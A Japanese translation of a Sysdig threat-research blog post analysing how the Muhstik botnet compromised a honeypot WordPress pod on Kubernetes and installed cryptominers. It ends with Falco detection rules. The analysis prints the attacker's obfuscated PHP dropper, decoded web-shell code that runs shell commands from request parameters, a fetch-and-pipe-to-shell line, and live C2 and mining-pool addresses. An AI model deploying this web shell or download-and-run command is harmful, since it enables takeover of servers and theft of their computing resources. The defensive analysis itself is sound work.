Blog Icon

Blog Post

ハンズオン Muhstik Botnet:Kubernetesを狙ったクリプトマイニング攻撃

本文の内容は、2021年11月16日にStefano Chiericiが投稿したブログ(https://sysdig.com/blog/muhstik-malware-botnet-analysis/)を元に日本語に翻訳・再構成した内容となっております。

マルウェアは継続的に変異し、新しいサービスやプラットフォームを狙っています。Sysdigセキュリティリサーチチームは、有名なMuhstik Botnetが新たな挙動を示し、KubernetesのPodを制御して暗号通貨をマイニングする方法で攻撃していることを確認しました。

WordPressのKubernetes PodがMuhstikワームによって侵害され、ボットネットに追加されました。このPodには、 xmra64やxmrig64など、さまざまな種類のクリプトマイナーがデプロイされ、実行されています。
Muhstik malware
今回の攻撃は、私たちが長い間見てきたことを裏付けるものです。クリプトマイナー攻撃は増加しており、その形態もさまざまです。暗号通貨の価格が高騰していることも、事態をさらに悪化させています。

ここでは、Muhstikマルウェアの特徴、この特殊な攻撃のステップバイステップ、そしてインフラをこの攻撃から守る方法について説明します。

Muhstikマルウェアとは?

Muhstikマルウェアは2017年から登場しており、Miraiコードのフォークをベースにしており、現在は複数のWebアプリケーションエクスプロイトによってクラウドに影響を与えていると推測されます。

ボットネットは、クリプトマイニングを介して、DDoS攻撃サービスでマネタイズしています。

ボットネットの標的は、WordPress、Drupal、WebDAV、オラクルのWebLogicアプリケーションサーバーなどの多種多様なウェブアプリケーションに加え、IoT(Internet-of-Things)SOHO(Small Office/Home Office)のデバイスなどです。

Muhstikは、そのボットネットを利用して大規模な分散型サービス拒否(DDoS)攻撃を行いますが、被害を受けたシステムに複数の暗号通貨マイナーをインストールすることもあります。

Muhstikのビヘイビア ステップ by ステップ

まずは、Podの侵害からクリプトマイニング活動まで、攻撃行動と実行された主なステップを簡単に説明します。
Muhstik diagramMuhstikのダイアグラム

攻撃の概要は以下の通りです:
  1. ハニーポットアカウントでデフォルトの認証情報で設定されたWordPressの管理者ログインが攻撃された。
    1.  E3DC4533F48E7161DA720C6FD3591710.phpという悪意のあるPHPページをアップロードするために header.php ファイルが使用されました。
    2. 悪意のあるPHPコードは、ファイルをロードし、リモートコマンドを実行します。
  2. pty3 がアップロードしたコードは、Pod上で実行されました。
  3. その後、pty3  ggop6b5pqkmfrfdという新しいプロセスを生成し、ボットネットに接続しました。
    1. ファイルが異なるディレクトリにコピーされました。
    2. ファイル rc.local 永続化のためのエントリを作成しました。
    3. 永続化のために、常に respawn 機能を使用して /etc/inittab ファイルを作成しました。
  4. xmrig64 クリプトマイナーバイナリがマシン上で実行されました。
  5. 悪意のあるリモートスクリプトがダウンロードされ、ポッド上で実行されました  http://118.24.84.121/wp-content/themes/twentyfifteen/kn | sh
    1. その他のptyファイルをダウンロードして実行しました。
  6. そして、 178.62.105.90 のIPアドレスから xmra64 クリプトマイナーバイナリをダウンロードし、 185.165.171.78, 185.86.148.14 のIPアドレスのマイニングプールを使用してPod上で実行しました。
このMuhstikマルウェアの詳細、このボットネットの詳細な仕組み、実行される正確なコマンド、サーバー間の通信、そして最後に、オープンソースのFalcoでこの攻撃を検知する方法について、さらに深く掘り下げてみましょう。

Muhstikマルウェアの詳細

#1 初期アクセス – 暗号化されたPHP web shell

ハニーポットでは、WordPressのデフォルトの認証情報が悪用され、WordPressの header.php ファイルが以下の文字列で更新されました。

最後のクリアテキストコードから理解できるように、PHPの関数 file_put_contents を使用して新しいファイルを作成し、その中に暗号化されたコードを入れました。

<?php if (isset($_GET['t6'])) { $data = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP6cVfkPgy862xKQhOOAWOK0SBsKKgJRTyuVO0yOvY5d/NbdNYHe8d87u3gntoHr6Yo/EGl05tl0c2lz51RTGAvTxHPcodwwVNB2E1dGd0aSpZSHydLom6NBu9PuOjkP7MxuDCzQDvcHh/2jo8Fe3+/vHWv9vf7gUH//8PDgwNnzPeeDJpA6ej9CXI74kNEw4XTpMlkMEz5q2i3iBil142AwOUI5HKds4o17uNJTG242mQcEKPk7J4wTD66vzmDlMFXQwhcWgMg8CBkwT+8I3R33shpAQHhYx/Mo+jv5KWZcBJ5WI2M4dbvQtXTTq9+nSjf6yXx+dp9czOb6J9gFDS4xDmPUH/dXZgEJ+BWojD9RpLEZJkzO4TPEDlKXh/3RwmRil0dj3mTTKKXDN77vjxYp9QgdDrJ7YHYUbSBq4bFkT++5I8YuVjihzV0/pTHEhAepdHIp41q5b8YfMm+JXK6QASRBrEla5Z5Am4x7laNN5D7k+Pso0hv6YISMEWFn7V+n8xt9FRL9k6ky3GgoxauCf50HUFsFqQbWpEuiuKWlzBYny+0syOxcrAyd6ea2lMu1jSmSNzRZ/LSpbSdIBeGWFnBBw4TYwrWmXlxP3hKakKgppqVrvdfQKMQhO9hfhFwKL0Iu7dPzuT07/WYKlnLBPvwAvhMxAlDgNCd1borKdlaCLUwAxl8MPSGJm23EEPExSHqtgwoEAZ5R9TZkojKswtmum8YehrYmrnQuo3GCaiHhwMJ/iPUO5K2z3vTlN9Hwc7OAUZFa7ol4VUBG3GmR8oRwygVALd9CqF1vidzoLF/EId8kPc+iFAslFKnPSZ5uFryE5UlKUUYSSsYJTIkdtC5dk+6ttY5Cz6azGz3H8vbDCPXQUeoXoI/qJ0HviK0OJp4tNI10emyc2cp+GypRatWJSKavhEtmWHLmTSrBsYMIXkxhKrgvKs9l18XGAxy3BPaTg3GfGv4C2iYujTo1tsq0zaaz2enF+VrsvTeeem3mJ9gQVFgSdPzB2LR/E758KWLBOpNPINL49i0GQiLX97FAKgj1wHwbJ1hJlWtJno9L9YUR9/ax8L0oCB5leaHXyWJWuldgB+I8YDy8HfeUYLxD7a3r5tQWGRaPnCGivSTcxlqKLUMKDEwnpkNet9yyzPbKMjuSH6JBrgXWEPLQswq0+AEXEnJmmMjfsqqyfEFy3FusiX7T2fJhDOWlqTSzJkf1mRYV23av+8xXtBkk5DYquZvjPuOU4hNwCLV60HttPa2F3pZHjFUi9VkM/aCmJj5Xa0ETaN6uQBp65EIz3bCo6mH+rUjWWJQ/fnw1zgj1baTVj6pemXW99q54orY0Y3HOLFqbfP0a/JzGsSPGK5Xy6gigZGWP75kcADQ39rS6Zyab+02uYzS4ZqJcrmJEX80I+qjOFN84BRHnEQ8zHC6l3o7nY6dxXrojvPkPF8quiVpGukS8RQ1igtDzVUWwSA9G3SHRtgtk2cW14swjhfZIFudxJa2HQyVEwRfRR9aD98U5xROngRtu57O4RjNDJAuZtuDr2CqHeOGtj1uqvRYpqQ8HxXlDdcTe/50NXhoNNpe8JZhuxfA0zzJ5kegWrgwxI13MtqG/De9ZRkFW+h+n57oaFU3fUlTHdEJ/bkepEPpB8IjBQeS8iI8+/ws=')))); ?>"; file_put_contents("E3DC4533F48E7161DA720C6FD3591710.php", $data); } ?>

 

実際に実行されたコードを見つけるためには、base64の文字列から復号化プロセスをやり直す必要があります。この場合、トリプルエンコーディングになっています。
  • Base_64エンコーディング:Base_64エンコーディング:テキストやコードをエンコードして、エラーを起こさずに送信したり、検出を回避したりするために使用される方法。
  • Rot13 置換暗号:ASCII文字の単純なシフト文字ローテーション。
  • 圧縮:Gzip圧縮が適用され、ウェブの「POST」リクエストで使用できる「text」が取得されます。
攻撃者によって追加されたコードを解読すると、これはPHP web shellであり、Pod上でコマンドを実行したりファイルをアップロードしたりするのに使用されていることがわかります。コードの中で最も関連性の高い部分の静的解析をさらに進めてみましょう。
PHPコードの最初の部分は、さらなるマルウェアファイルのダウンロードに使用されています。次のセクションでより深く説明します。
if (isset($_GET['wie'])) {
$arr = array("who" => array("os_name" => php_uname('s'), "uname_version_info" => php_uname('v'), "machine_type" => php_uname('m'), "kernel" => php_uname('r'), "php_uname" => php_uname(), "is64bit" => PHP_INT_SIZE === 4 ? false : true));
print (json_encode($arr));
exit;
} elseif (isset($_GET['knal'])) {
$comd = $_GET['knal'];
echo "<pre><font size=3 color=#000000>" . shell_exec($comd) . "</font></pre>";
exit;
} elseif (isset($_POST['submit'])) {
$uploaddir = pwd();
if (!$name = $_POST['newname']) {
$name = $_FILES['userfile']['name'];
}
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) {
echo "Upload Failed";
} else {
echo "Upload Success to " . $uploaddir . $name . " :D ";
}...

ここで、ボットネットとのセッションと認証を確認します。
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) {
if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) {
$_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
} else {
printLogin();
}
}

以下のPHPコードは、現在のユーザーに関する情報を取得するために使用され、Muhstikマルウェアによって署名されています。


echo "<title>UnKnown - muhstik</title><br>";
$cur_user = "(" . get_current_user() . ")";
echo "<font size=2 color=#888888><b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>";
echo "<font size=2 color=#888888><b>Uname : " . php_uname() . "</b><br>";

このPHPコードの最後の部分は、ボットネットからコマンドを送信するためのバックドア通信として使用されています。 cmd、 dirまたは ls -la コマンドを観察することができます。

if (isset($_POST['command'])) {
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>" . shell_exec($cmd) . "</font></pre>";
} else {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
echo "<pre><font size=3 color=#000000>" . shell_exec('dir') . "</font></pre>";
} else {
echo "<pre><font size=3 color=#000000>" . shell_exec('ls -la') . "</font></pre>";
}
}

#2 伝播 – Podにドロップされたpty3

作成されたWebシェルを使ってPod上にドロップされ実行された最初のマルウェアファイルは、バイナリの pty3でした。バイナリの解析にはVirustotalという外部サービスを使用しており、これにより、複数のAVを使って、どのタイプのマルウェアであるかを検出することができます。

First VirusTotal report
この特定のバイナリは、2021年4月に初めて報告され、32の情報源により、確かにマルウェアであることが確認されました。Muhstik Botnetに関連する pty3 マルウェアのバージョンは数多く存在していますが、しかし、これは最近のバージョンのようです。

当社のマルウェア分析では、ハニーポットを使用してマルウェアの挙動とその目的を追跡しています。

これが通常の本番サーバであれば、インシデント対応の計画を立て、直ちにバイナリを分離し、ソースを調査し、将来のインシデントに備えてセキュリティを強化しているでしょう。

#3 ランタイム解析 – ポッド内で実行されたpty3マルウェア

マルウェアファイル pty3 は、Podに投下された直後に実行されました。 pty3 が何をしているかを追跡するために、オープンソースのツールであるSysdig Inspectを使ってシステムコールを可視化しました。

それでは、マルウェアが実行するアクティビティを詳しく見ていきましょう。

#3.1 Podで動作するネットワークツールの確認

最初のアクションとして、マルウェアはネットワーク・ダンプ・ツールがPodで実行されているかどうかをチェックします。チェックされる2つのバイナリは tcpdump  straceです。

TcpDump screenshotTcpDumpのスクリーンショット

Strace screenshotStraceのスクリーンショット

これは、マルウェアに感染させる新しいターゲットを発見・特定するための典型的なプロセスで、プロセス中のシステムバイナリやGTFOBinsを使用しています。

#3.2 永続化フェーズ

プロセスが終了したり、マシンが再起動されたりした場合にMuhstikマルウェアが再実行されるようにするためには、マルウェアがポッド内で自らを拡散し、何らかのアクションを実行する必要があります。

この場合、 pty3 バイナリは、マシンでの持続性を実現するために特別な手段を実行しました。

まず、 pty3 は、持続性を目的として、自分自身を異なるディレクトリにコピーし始めました。

  • /tmp/pty3
  • /dev/shm/pty3
  • /var/tmp/pty3
  • /var/lock/pty3
  • /var/run/pty3


その後、crontabを実行しようとしましたが、crontabのバイナリはPodの中にはありませんでした。そこで、/etc/inittabに以下の行を追加して、persistenceを実行することに成功しました。

Persistence screenshot example
 respawn 関数を使用することで、プロセスが死亡した場合、侵害されたホスト/ポッドを失うことなく自動的にリスポーンされます。

また、Muhstikマルウェアは、以下のスクリーンショットに示すように、同じ目的で rc.local ファイルに自分自身を追加しました。

Crontab modification example

#3.3 ボットネットとのC&C通信の確立

この時点で、マルウェアは通信を行い、ゾンビPodに指示を送る必要があります。次の画像では、プロセス ggop6b5pqkmfrfd とウェブサーバの間のPING / PONG通信を見ることができます。

Ping & pong communication PING&PONG通信

これは他のマルウェアやC&Cプロトコルに似ており、ターゲットに関する情報を取得し、更新された攻撃ペイロードを通信で返します。

少し立ち止まって、ドロップしたマルウェアがこれまでに行った活動をまとめてみましょう:

  1. ボットネットに接続するための新しいプロセスを生成する。
  2. ホスト/ポッド内で実行されているツールをチェックし、感染させる新しいポッドを発見する
  3. 自身を別の場所に複製して永続化させる
  4.  /etc/inittab を作成・編集してcrontabを実行し、パーシステンスを得る。


#4 Crypto minersの動作

Muhstik Botnetの目的は、被害者に感染した後、感染したリソースを収益化することです。Muhstikマルウェアは、自身が制御するKubernetes Podsに2つのバイナリをダウンロードし、クリプトマイニングを開始します。

#4.1 xmrig64バイナリのダウンロードとポッド上での実行

マルウェアの感染が完了し、Podをボットネットに接続した後、攻撃者はPHP Web shellを使って xmrig64バイナリをアップロードして実行しました。

First Sysdig Inspect detection
以下の画面を見ると、Inspectを使用して、IPプール186.86.148.14にポート8081で接続しているマイナーを検出し、情報の共有を開始しています。

Screenshot from network logsネットワークログのスクリーンショット

#4.2 xmra64バイナリのビヘイビア

Podで実行されている ggop6b5pqkmfrfd プロセスを使用して、Muhstik Botnetは、IP 178.62.105.90から wget  curlコマンドを実行して、クリプトマイナーバイナリ xmra64 をダウンロードしました。
Second Sysdig Inspect detection
wget log tracewgetログトレース

ダウンロード後、 ggop6b5pqkmfrfd はバイナリを実行するための準備をしました。chmodを使って実行ビットを設定している様子がわかります。

More traces detectedさらに検出されたトレース

この xmra64 バイナリを再度アップロードしたところ、レポートは非常によく似ていました。これは有名なクリプトマイナーです。

Second VirusTotal report2つ目のVirusTotalレポート

クリプトマイナーバイナリの起動時に、2つのクリプトマイナープールが指定されていました。

  • 185.165.171.78
  • 185.86.148.14

以下の画面から、minerがプールとの通信を開始したことがわかります。

Traces miner communicating to the poolマイナーがプールと通信している痕跡

#5 その他のマルウェアバイナリ – Podにドロップされたその他のptyファイル

最初のminerを実行した後、他の pty ファイルがPod上にドロップされ、スクリプトをダウンロードして実行していました。
Third Sysdig Inspector detection
ダウンロードされたファイルを見ると、実行されたコードとそのファイルがどこからダウンロードされたかがわかります。

file downloaded from botnetボットネットからダウンロードされたファイル

以前に実行された pty3ファイルの異なるバージョンである可能性があるファイル pty*が、 167.99.39.134/.x/からダウンロードされていることがわかります。

IOCおよび不審な活動の概要

IPs & URLs

  • http://118.84.24.121:80/wp-content/themes/twentyfifteen/kn
  • http://167.99.39.134/.x/
  • http://178.62.105.90:80/wp-content/themes/twentyfifteen/xmra64
  • 185.86.148.14:8081
  • 185.165.171.78:8081

ファイルとそれらのMD5:

  • E3DC4533F48E7161DA720C6FD3591710.php
    • 4dc3298cdbf565cc897a922807a2809667535c5a
  • pty3
    • 61586a0c47e3ae120bb53d73e47515da4deaefbb
  • xmrig64
    • de64b454420c64fc160a9c6c705896ae0e26d8db
  • xmra64
    • 497f4e24464a748c52f92de1fba33551

疑わしい活動

Muhstikマルウェアの分析では、特筆すべき不審な活動がいくつかあります。
  • wget はビルド時ではなくランタイムに起動される
  • マイナープールとのネットワーク通信
  • 未知のプロセスが起動したことによるCPU使用率の上昇
これらの活動を特定した後、どのようにしてその検出を行うかを見ていきます。

FalcoによるMuhstikボットネットの検出

Falcoは、コンテナやKubernetesのランタイム脅威検知のためのCNCFのオープンソースプロジェクトです。

Falcoの利点の1つは、強力で柔軟なルール言語を活用することにあります。その結果、Falcoは、カスタマイズ可能なルールセットで定義された異常なビヘイビアを発見すると、セキュリティイベントを生成します。一方、Falcoには、アウトオブボックスの検出ルールがいくつか用意されています。

ここでレポートされているルールをカスタマイズすることで、この記事で言及されているIPを使った接続によるクリプトマイナーのビヘイビアを検出したり、よく知られたクリプトマイナーのドメインへの接続をプロアクティブに検出したりすることができます。

# Note: falco will send DNS request to resolve miner pool domain which may trigger alerts in your environment.
- rule: Detect outbound connections to common miner pool ports
  desc: Miners typically connect to miner pools on common ports.
  condition: net_miner_pool and not trusted_images_query_miner_domain_dns
  exceptions:
    - name: proc_sport_sipname
      fields: [proc.name, fd.sport, fd.sip.name]
  enabled: false
  output: Outbound connection to IP/Port flagged by cryptoioc.ch (command=%proc.cmdline port=%fd.rport ip=%fd.rip container=%container.info image=%container.image.repository)
  priority: CRITICAL
  tags: [network, mitre_execution]

- rule: Container Drift Detected (chmod)
  desc: New executable created in a container due to chmod
  condition: >
    chmod and
    consider_all_chmods and
    container and
    not runc_writing_var_lib_docker and
    not user_known_container_drift_activities and
    evt.rawres>=0 and
    ((evt.arg.mode contains "S_IXUSR") or
    (evt.arg.mode contains "S_IXGRP") or
    (evt.arg.mode contains "S_IXOTH"))
  exceptions:
    - name: proc_name_image_suffix
      fields: [proc.name, container.image.repository]
      comps: [in, endswith]
    - name: cmdline_file
      fields: [proc.cmdline, fd.name]
      comps: [in, in]
      values:
        - [["runc:[1:CHILD] init"], [/exec.fifo]]
  output: Drift detected (chmod), new executable created in a container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline filename=%evt.arg.filename name=%evt.arg.name mode=%evt.arg.mode event=%evt.type)
  priority: ERROR

- rule: Outbound Connection to C2 Servers
  desc: Detect outbound connection to command & control servers
  condition: outbound and fd.sip in (c2_server_ip_list)
  exceptions:
    - name: proc_proto_sport
      fields: [proc.name, fd.l4proto, fd.sport]
  output: Outbound connection to C2 server (command=%proc.cmdline connection=%fd.name user=%user.name user_loginuid=%user.loginuid container_id=%container.id image=%container.image.repository)
  priority: WARNING
  tags: [network]

ルールの詳細はGitHubでご覧いただけます。

Falcoについてもっと知りたい方は、GitHubのFalcoプロジェクトをご覧ください。

Sysdig SecureによるMuhstikの検出

Sysdig Secure DevOps PlatformはFalcoの上に構築されており、この特定の攻撃を検出するために使用されました。

Sysdig Secureのイメージプロファイリングの助けを借りて、DevOpsは以下のことができます:
  • ポリシーを作成し、ランダムなプロセスからのポートバインドやリッスンを検出する。
  • ホワイトリストに載っていない送信先IPを検出するポリシーを作成する。
  • ホワイトリストに載っていないプロセスが起動されたことを検出するポリシーを作成する(例: wgetpty*xmrig64xmra64)

First Sysdig Secure screenshot
miner_portsリストは、Sysdig Secureのアウトオブボックスのルールにすでに含まれています。cryptominer_IP_IOCには、代わりにIoCセクションでレポートされた、マイナーのビヘイビアに関連するIPが含まれています。

Second Sysdig Secure screenshot

まとめ

今回のインシデントは、クリプトマイニング攻撃が増加傾向にあり、時間が経つにつれてよりクリエイティブになっているという傾向を裏付けています。Sysdigリサーチチームは、serv-helloShellbotのように、似たような動作をする他のマルウェアを分析しています。

システム管理者としては、適切なツールを使ってこれらの攻撃を防ぎ、検出する必要があります。クラウドネイティブ環境のプロセス・アクティビティ、ファイル・アクティビティ、ネットワーク・アクティビティを深く洞察し、スマートな検知エンジンの助けを借りなければ、このような攻撃を検知することは難しいでしょう。それを明らかにするのはさらに難しいでしょう。

また、統合されたセキュリティと監視のソリューションを活用して調査プロセスを迅速化するという点も重要です。1つの疑わしいイベントを特定したら、リソースの使用状況、ネットワーク接続、機密ファイルの読み取りなど、さまざまな角度からイベントを追跡するのに役立ちます。


Sysdig Secureは、他のオープンソースプロジェクトとともに、アウトオブボックスのでFalcoを拡張し、Kubernetesのセキュリティへの取り組みと管理をさらに容易にしています。30日間の無料トライアルに登録して、ご自身の目で確かめてください。

Sysdig Secure DevOps Platformは、コンテナ、Kubernetes、クラウド・サービスを自信を持って実行するためのセキュリティを提供します。Sysdigでは、ビルドパイプラインの保護、ランタイム脅威の検出と対応、コンプライアンスの継続的な検証、クラウドインフラストラクチャーとサービスの監視とトラブルシューティングを行うことができます。今すぐお試しください!

Stay up to date

Sign up to receive our newest.